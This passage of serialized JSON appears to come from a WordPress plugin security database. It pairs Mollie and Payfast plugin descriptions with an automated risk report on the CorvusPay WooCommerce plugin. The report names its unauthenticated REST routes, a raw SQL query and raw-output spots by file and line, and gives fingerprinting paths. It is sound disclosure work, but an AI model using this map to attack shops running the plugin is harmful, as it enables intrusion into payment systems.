src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F33sQNKelKW4?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>Quickly integrate all major payment methods in WooCommerce, wherever you need them. Mollie Payments for WooCommerce adds the critical success factor: an easy-to-install, easy-to-use, customizable payments gateway that is as flexible as WooCommerce itself.\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Effortless payments for your customers, designed for growth\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>No need to spend weeks on paperwork or security compliance procedures. Enjoy enhanced conversions as we support shopper’s favorite payment methods and ensure their utmost safety. We made payments intuitive and safe for merchants and their customers.\u003C\u002Fp>\n\u003Ch4>Payment methods\u003C\u002Fh4>\n\u003Cp>Credit & Debit Cards:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>VISA (International)\u003C\u002Fli>\n\u003Cli>MasterCard (International)\u003C\u002Fli>\n\u003Cli>American Express (International)\u003C\u002Fli>\n\u003Cli>Cartes Bancaires (France)\u003C\u002Fli>\n\u003Cli>CartaSi (Italy)\u003C\u002Fli>\n\u003Cli>V Pay (International)\u003C\u002Fli>\n\u003Cli>Maestro (International)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>European and local payment methods:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Bancomat Pay (Italy)\u003C\u002Fli>\n\u003Cli>Bancontact (Belgium)\u003C\u002Fli>\n\u003Cli>Belfius (Belgium)\u003C\u002Fli>\n\u003Cli>Blik (Poland)\u003C\u002Fli>\n\u003Cli>EPS (Austria)\u003C\u002Fli>\n\u003Cli>Gift cards (Netherlands)\u003C\u002Fli>\n\u003Cli>iDEAL (Netherlands)\u003C\u002Fli>\n\u003Cli>KBC\u002FCBC payment button (Belgium)\u003C\u002Fli>\n\u003Cli>Klarna\u003C\u002Fli>\n\u003Cli>MB Way (Portugal)\u003C\u002Fli>\n\u003Cli>Multibanco (Portugal)\u003C\u002Fli>\n\u003Cli>PaybyBank\u003C\u002Fli>\n\u003Cli>Payconiq (Belgium, Luxembourg)\u003C\u002Fli>\n\u003Cli>Przelewy24 (Poland)\u003C\u002Fli>\n\u003Cli>Satispay (EU)\u003C\u002Fli>\n\u003Cli>SEPA – Direct Debit (EU)\u003C\u002Fli>\n\u003Cli>Swish (Sweden)\u003C\u002Fli>\n\u003Cli>TWINT (Switzerland)\u003C\u002Fli>\n\u003Cli>Vouchers (Netherlands, Belgium)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>International payment methods:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Apple Pay (International)\u003C\u002Fli>\n\u003Cli>PayPal (International)\u003C\u002Fli>\n\u003Cli>Paysafecard (International)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Pay after delivery payment methods:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Alma (France, Belgium)\u003C\u002Fli>\n\u003Cli>Billie – Pay by Invoice for Businesses\u003C\u002Fli>\n\u003Cli>iDEAL in3 – Pay in 3 installments, 0% interest\u003C\u002Fli>\n\u003Cli>Riverty (Netherlands, Belgium, Germany, Austria)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Get started with Mollie\u003C\u002Fh4>\n\u003Col>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fmy.mollie.com\u002Fdashboard\u002Fsignup\" rel=\"nofollow ugc\">Create a Mollie account\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Install \u003Cstrong>Mollie Payments for WooCommerce\u003C\u002Fstrong> on your WordPress website\u003C\u002Fli>\n\u003Cli>Activate Mollie in your WooCommerce webshop and enter your Mollie API key\u003C\u002Fli>\n\u003Cli>In your Mollie Dashboard, go to Settings > Website profiles and select the payment methods you want to offer\u003C\u002Fli>\n\u003Cli>Go to your WordPress Admin Panel. Open WooCommerce > Settings > Payments to check if your preferred methods are enabled\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>Once your Mollie account has been approved, you can start accepting payments.\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Our pricing is always per transaction. No startup fees, no monthly fees, and no gateway fees. No hidden fees, period.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Ch4>Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Support for all available Mollie payment methods\u003C\u002Fli>\n\u003Cli>Compatible with WooCommerce Subscriptions for recurring payments (Apple Pay, credit card, iDEAL, and more via SEPA Direct Debit)\u003C\u002Fli>\n\u003Cli>Transparent pricing. No startup fees, no monthly fees, and no gateway fees. No hidden fees, period.\u003C\u002Fli>\n\u003Cli>Edit the order, title and description of every payment method in WooCommerce checkout\u003C\u002Fli>\n\u003Cli>Support for full and partial payment refunds\u003C\u002Fli>\n\u003Cli>Configurable pay outs: daily, weekly, monthly – whatever you prefer\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.mollie.com\u002Fen\u002Ffeatures\u002Fdashboard\" rel=\"nofollow ugc\">Powerful dashboard\u003C\u002Fa> on mollie.com to easily keep track of your payments\u003C\u002Fli>\n\u003Cli>Fast in-house support. You will always be helped by someone who knows our products intimately\u003C\u002Fli>\n\u003Cli>Multiple translations: English, Dutch, German, French, Italian, Spanish\u003C\u002Fli>\n\u003Cli>Event log for debugging purposes\u003C\u002Fli>\n\u003Cli>WordPress Multisite support\u003C\u002Fli>\n\u003Cli>Works well with multilingual plugins like WPML\u002FPolylang\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Join the Mollie Community\u003C\u002Fh4>\n\u003Cp>Become part of Mollie’s growing community and gain access to our comprehensive support network, including a \u003Ca href=\"https:\u002F\u002Fdiscord.gg\u002Fy2rbjqszbs\" rel=\"nofollow ugc\">Discord Developer Community\u003C\u002Fa> to stay connected and informed.\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Your success is our mission. With Mollie, simplify your payments and focus on growing your business.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fmy.mollie.com\u002Fdashboard\u002Fsignup\" rel=\"nofollow ugc\">Sign up today\u003C\u002Fa> and start enhancing your WooCommerce store with Mollie’s advanced payment solutions.\u003C\u002Fp>\n\u003Cp>Feel free to contact info@mollie.com if you have any questions or comments about this plugin.\u003C\u002Fp>\n\u003Ch4>More about Mollie\u003C\u002Fh4>\n\u003Cp>Mollie offers a single platform for businesses to get paid and manage their money. One that makes payments, reconciliation, reporting, fraud prevention, and financing simple for all – from startups to enterprises.\u003C\u002Fp>\n\u003Cp>Founded in 2004, Mollie’s mission is to make payments and money management effortless for every business in the UK and Europe. Their 800-strong team works from offices across the continent, including Amsterdam, Ghent, Lisbon, London, Maastricht, Milan, Munich, and Paris.\u003C\u002Fp>\n\u003Cp>Today, more than 250,000 businesses use Mollie to drive revenue, reduce costs, and manage funds.\u003C\u002Fp>\n","Accept all major payment methods in WooCommerce today. Credit cards, iDEAL and more! Fast, safe and intuitive.",100000,4611983,70,69,"2026-03-09T09:16:00.000Z","5.0",[19,150,192,151,21],"mollie","https:\u002F\u002Fwww.mollie.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmollie-payments-for-woocommerce.8.1.4.zip","2026-02-11 00:00:00",{"slug":197,"name":198,"version":199,"author":118,"author_profile":119,"description":200,"short_description":201,"active_installs":202,"downloaded":203,"rating":204,"num_ratings":134,"last_updated":205,"tested_up_to":147,"requires_at_least":206,"requires_php":17,"tags":207,"homepage":211,"download_link":212,"security_score":213,"vuln_count":13,"unpatched_count":13,"last_vuln_date":35,"fetched_at":27},"woocommerce-payfast-gateway","WooCommerce Payfast Gateway","1.7.6","\u003Cp>Give customers more flexibility and increase your bottom line with Payfast — one of South Africa’s most popular payment gateways.\u003C\u002Fp>\n\u003Ch4>Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Fast, \u003Cstrong>super-secure\u003C\u002Fstrong> payments from almost anywhere in the world.\u003C\u002Fli>\n\u003Cli>Compatible with \u003Cstrong>subscriptions\u003C\u002Fstrong>, \u003Cstrong>deposits\u003C\u002Fstrong>, and \u003Cstrong>pre-orders\u003C\u002Fstrong>.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Get started\u003C\u002Fh4>\n\u003Cp>This extension requires a Payfast merchant account. \u003Ca href=\"https:\u002F\u002Fpayfast.io\u002Fgateway-aggregator-selector\u002F\" rel=\"nofollow ugc\">Sign up for free\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch4>How does it work?\u003C\u002Fh4>\n\u003Cp>At checkout, customers are automatically taken to Payfast to pay for their orders. Once payment is complete, Payfast redirects them to your store to continue shopping.\u003C\u002Fp>\n\u003Ch4>Fast, super-secure, and scalable\u003C\u002Fh4>\n\u003Cp>Pay it safe, every time. Payfast is trusted by \u003Cstrong>more than 100,000\u003C\u002Fstrong> South African businesses, with security that exceeds industry standards. It’s PCI DSS-compliant and also supports 18+ popular payment methods. In a nutshell, WooCommerce Payfast Gateway is the fastest, smartest, and safest way to accept payments online.\u003C\u002Fp>\n\u003Ch4>Boost your bottom line\u003C\u002Fh4>\n\u003Cp>Payfast is compatible with \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fwoocommerce-subscriptions\u002F\" rel=\"nofollow ugc\">WooCommerce Subscriptions\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fwoocommerce-pre-orders\u002F\" rel=\"nofollow ugc\">WooCommerce Pre-Orders\u003C\u002Fa>, giving your shoppers the ultimate flexibility. \u003Cstrong>Convert more customers\u003C\u002Fstrong> by letting them make deposits, order in advance, or subscribe to your products and services. You win each way!\u003C\u002Fp>\n","Give customers more flexibility and increase your bottom line with Payfast — one of South Africa’s most popular payment gateways.",30000,887863,60,"2026-04-06T14:57:00.000Z","6.8",[208,19,209,210,21],"automattic","payfast","payment-request","https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fpayfast-payment-gateway\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-payfast-gateway.1.7.6.zip",100,{"attackSurface":215,"codeSignals":381,"taintFlows":399,"riskAssessment":400,"analyzedAt":407},{"hooks":216,"ajaxHandlers":358,"restRoutes":368,"shortcodes":379,"cronEvents":380,"entryPointCount":25,"unprotectedCount":156},[217,222,227,231,235,238,241,244,247,250,254,258,262,266,270,274,278,282,286,290,294,298,302,306,310,314,318,322,326,329,332,335,338,341,344,347,350,352,354,356],{"type":218,"name":219,"callback":220,"priority":13,"file":48,"line":221},"action","init","woocommerce_corvuspay_init",31,{"type":223,"name":224,"callback":225,"file":48,"line":226},"filter","woocommerce_payment_gateways","add_gateway",34,{"type":218,"name":228,"callback":229,"file":48,"line":230},"woocommerce_blocks_loaded","woocommerce_corvuspay_block_support",37,{"type":218,"name":232,"callback":233,"file":48,"line":234},"before_woocommerce_init","closure",39,{"type":218,"name":236,"callback":237,"file":48,"line":188},"admin_notices","woocommerce_corvuspay_notice_missing_wc",{"type":223,"name":224,"callback":239,"file":48,"line":240},"woocommerce_add_corvuspay_gateway",106,{"type":218,"name":242,"callback":233,"file":48,"line":243},"woocommerce_blocks_payment_method_type_registration",128,{"type":218,"name":236,"callback":233,"file":245,"line":246},"includes\\class-wc-gateway-corvuspay.php",122,{"type":218,"name":248,"callback":249,"file":245,"line":125},"woocommerce_api_corvuspay-success","corvuspay_success_handler",{"type":218,"name":251,"callback":252,"file":245,"line":253},"woocommerce_api_corvuspay-cancel","corvuspay_cancel_handler",146,{"type":223,"name":255,"callback":256,"priority":107,"file":245,"line":257},"woocommerce_order_number","change_woocommerce_order_number",147,{"type":223,"name":259,"callback":260,"priority":107,"file":245,"line":261},"woocommerce_get_order_item_totals","recalculate_order_total_in_email",148,{"type":218,"name":263,"callback":264,"priority":107,"file":245,"line":265},"woocommerce_thankyou_corvuspay","corvuspay_content_thankyou",149,{"type":218,"name":267,"callback":268,"priority":107,"file":245,"line":269},"woocommerce_email_after_order_table","corvuspay_email_after_order_table",150,{"type":218,"name":271,"callback":272,"priority":107,"file":245,"line":273},"woocommerce_order_status_processing","remove_order_note_when_status_change_to_processing",151,{"type":218,"name":275,"callback":276,"priority":107,"file":245,"line":277},"woocommerce_order_status_cancelled","remove_order_note_when_status_change_to_void",155,{"type":218,"name":279,"callback":280,"priority":107,"file":245,"line":281},"woocommerce_before_order_object_save","corvuspay_handle_order_status_change",159,{"type":218,"name":283,"callback":284,"file":245,"line":285},"woocommerce_order_item_add_action_buttons","add_capture_button",160,{"type":223,"name":287,"callback":288,"priority":107,"file":245,"line":289},"woocommerce_order_fully_refunded_status","corvuspay_cancel_voided_order",162,{"type":218,"name":291,"callback":292,"file":245,"line":293},"rest_api_init","register_corvuspay_rest_routes",163,{"type":218,"name":295,"callback":296,"file":245,"line":297},"woocommerce_admin_order_data_after_order_details","add_check_order_status_button_to_order_details",164,{"type":218,"name":299,"callback":300,"priority":107,"file":245,"line":301},"woocommerce_subscription_payment_method_updated","corvuspay_payment_method_changed",169,{"type":223,"name":303,"callback":304,"priority":107,"file":245,"line":305},"woocommerce_payment_gateway_get_new_payment_method_option_html","corvuspay_new_payment_method_option",170,{"type":223,"name":307,"callback":308,"priority":107,"file":245,"line":309},"woocommerce_subscriptions_update_payment_via_pay_shortcode","maybe_update_payment_method",171,{"type":218,"name":311,"callback":312,"priority":107,"file":245,"line":313},"woocommerce_subscription_validate_payment_meta","validate_subscription_payment_meta",178,{"type":223,"name":315,"callback":316,"priority":107,"file":245,"line":317},"woocommerce_subscription_payment_meta","add_subscription_payment_meta",182,{"type":218,"name":319,"callback":320,"file":245,"line":321},"wp_enqueue_scripts","add_theme_scripts",188,{"type":218,"name":323,"callback":324,"priority":107,"file":245,"line":325},"admin_enqueue_scripts","admin_scripts",189,{"type":218,"name":236,"callback":327,"file":245,"line":328},"unable_to_read_certificate_error",1396,{"type":218,"name":236,"callback":330,"file":245,"line":331},"unable_to_store_certificate_error",1414,{"type":218,"name":236,"callback":333,"file":245,"line":334},"unsupported_time_limit_error",1493,{"type":218,"name":236,"callback":336,"file":245,"line":337},"unsupported_order_number_format_error",1503,{"type":218,"name":236,"callback":339,"file":245,"line":340},"certificate_required_when_tokenization_enabled_error",1516,{"type":218,"name":236,"callback":342,"file":245,"line":343},"invalid_installments_map_error",1529,{"type":218,"name":236,"callback":345,"file":245,"line":346},"certificate_required_when_installments_map_set_error",1540,{"type":223,"name":348,"callback":233,"file":245,"line":349},"woocommerce_new_order_note_data",1835,{"type":223,"name":348,"callback":233,"file":245,"line":351},1868,{"type":223,"name":348,"callback":233,"file":245,"line":353},1902,{"type":223,"name":348,"callback":233,"file":245,"line":355},1938,{"type":223,"name":348,"callback":233,"file":245,"line":357},1972,[359,364],{"action":360,"nopriv":54,"callback":361,"hasNonce":362,"hasCapCheck":362,"file":245,"line":363},"corvuspay_complete_order","complete_order",true,161,{"action":365,"nopriv":54,"callback":366,"hasNonce":362,"hasCapCheck":362,"file":245,"line":367},"corvuspay_check_order_status","check_order_status",168,[369,375],{"namespace":7,"route":370,"methods":371,"callback":249,"permissionCallback":373,"file":245,"line":374},"\u002Fsuccess\u002F",[372],"POST","__return_true",196,{"namespace":7,"route":376,"methods":377,"callback":252,"permissionCallback":373,"file":245,"line":378},"\u002Fcancel\u002F",[372],206,[],[],{"dangerousFunctions":382,"sqlUsage":383,"outputEscaping":389,"fileOperations":25,"externalRequests":13,"nonceChecks":156,"capabilityChecks":156,"bundledLibraries":398},[],{"prepared":13,"raw":45,"locations":384},[385],{"file":386,"line":387,"context":388},"includes\\class-wc-order-corvuspay.php",758,"$wpdb->get_results() with variable interpolation",{"escaped":111,"rawEcho":55,"locations":390},[391,394,396],{"file":245,"line":392,"context":393},870,"raw output",{"file":245,"line":395,"context":393},1707,{"file":245,"line":397,"context":393},1726,[],[],{"summary":401,"deductions":402},"The CorvusPay WooCommerce Integration plugin, version 2.7.2, exhibits a mixed security posture. On the positive side, the plugin demonstrates good practices with a high percentage of properly escaped outputs and a lack of known critical vulnerabilities or dangerous function usage. The absence of external HTTP requests and bundled libraries also reduces potential attack vectors. However, there are notable concerns regarding the plugin's attack surface and data handling. The presence of two REST API routes without permission callbacks presents a significant risk, as these endpoints are accessible without proper authentication or authorization, potentially allowing unauthorized access to sensitive data or functionality. Furthermore, the single SQL query identified is not using prepared statements, which could lead to SQL injection vulnerabilities if user-supplied data is not meticulously handled before being used in the query. While no taint flows were detected, the raw SQL query and unprotected REST API endpoints are clear indicators of potential weaknesses that require immediate attention.",[403,405],{"reason":404,"points":107},"REST API routes without permission callbacks",{"reason":406,"points":134},"SQL query not using prepared statements","2026-03-16T18:51:30.732Z",{"wat":409,"direct":418},{"assetPaths":410,"generatorPatterns":413,"scriptPaths":414,"versionParams":415},[411,412],"\u002Fwp-content\u002Fplugins\u002Fcorvuspay-woocommerce-integration\u002Fassets\u002Fcss\u002Fcorvuspay-styles.css","\u002Fwp-content\u002Fplugins\u002Fcorvuspay-woocommerce-integration\u002Fassets\u002Fjs\u002Fcorvuspay-scripts.js",[],[412],[416,417],"corvuspay-woocommerce-integration\u002Fassets\u002Fcss\u002Fcorvuspay-styles.css?ver=","corvuspay-woocommerce-integration\u002Fassets\u002Fjs\u002Fcorvuspay-scripts.js?ver=",{"cssClasses":419,"htmlComments":422,"htmlAttributes":425,"restEndpoints":428,"jsGlobals":429,"shortcodeOutput":431},[420,421],"corvuspay-payment-form","corvuspay-error-message",[423,424],"\u003C!-- CorvusPay Payment Gateway -->","\u003C!-- CorvusPay Initialization Failed -->",[426,427],"data-corvuspay-gateway","data-corvuspay-checkout-url",[],[430],"CorvusPayGateway",[],{"error":362,"url":433,"statusCode":434,"statusMessage":435,"message":435},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fcorvuspay-woocommerce-integration\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":437,"versions":438},59,[439,448,459,470,481,492,503,514,525,536,547,558,569,580,591,602,613,624,635,646,657,668,679,690,701,712,723,734,745,756,767,778,789,800,811,822,833,844,855,866,877,888,899,910,921,932,943,954,965,976,987,998,1009,1020,1031,1042,1053,1064,1075],{"version":6,"download_url":23,"svn_tag_url":440,"released_at":35,"has_diff":54,"diff_files_changed":441,"diff_lines":35,"trac_diff_url":442,"vulnerabilities":443,"is_current":362},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.3",[444,445,446,447],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":449,"download_url":450,"svn_tag_url":451,"released_at":35,"has_diff":54,"diff_files_changed":452,"diff_lines":35,"trac_diff_url":453,"vulnerabilities":454,"is_current":54},"2.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.2",[455,456,457,458],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":460,"download_url":461,"svn_tag_url":462,"released_at":35,"has_diff":54,"diff_files_changed":463,"diff_lines":35,"trac_diff_url":464,"vulnerabilities":465,"is_current":54},"2.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.1",[466,467,468,469],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":471,"download_url":472,"svn_tag_url":473,"released_at":35,"has_diff":54,"diff_files_changed":474,"diff_lines":35,"trac_diff_url":475,"vulnerabilities":476,"is_current":54},"2.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.5&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.7.0",[477,478,479,480],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":482,"download_url":483,"svn_tag_url":484,"released_at":35,"has_diff":54,"diff_files_changed":485,"diff_lines":35,"trac_diff_url":486,"vulnerabilities":487,"is_current":54},"2.6.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.4&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.5",[488,489,490,491],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":493,"download_url":494,"svn_tag_url":495,"released_at":35,"has_diff":54,"diff_files_changed":496,"diff_lines":35,"trac_diff_url":497,"vulnerabilities":498,"is_current":54},"2.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.3&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.4",[499,500,501,502],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":504,"download_url":505,"svn_tag_url":506,"released_at":35,"has_diff":54,"diff_files_changed":507,"diff_lines":35,"trac_diff_url":508,"vulnerabilities":509,"is_current":54},"2.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.3",[510,511,512,513],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":515,"download_url":516,"svn_tag_url":517,"released_at":35,"has_diff":54,"diff_files_changed":518,"diff_lines":35,"trac_diff_url":519,"vulnerabilities":520,"is_current":54},"2.6.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.2",[521,522,523,524],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":526,"download_url":527,"svn_tag_url":528,"released_at":35,"has_diff":54,"diff_files_changed":529,"diff_lines":35,"trac_diff_url":530,"vulnerabilities":531,"is_current":54},"2.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.1",[532,533,534,535],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":537,"download_url":538,"svn_tag_url":539,"released_at":35,"has_diff":54,"diff_files_changed":540,"diff_lines":35,"trac_diff_url":541,"vulnerabilities":542,"is_current":54},"2.6.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.6.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.6.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.7&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.6.0",[543,544,545,546],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":548,"download_url":549,"svn_tag_url":550,"released_at":35,"has_diff":54,"diff_files_changed":551,"diff_lines":35,"trac_diff_url":552,"vulnerabilities":553,"is_current":54},"2.5.7","https:\u002F\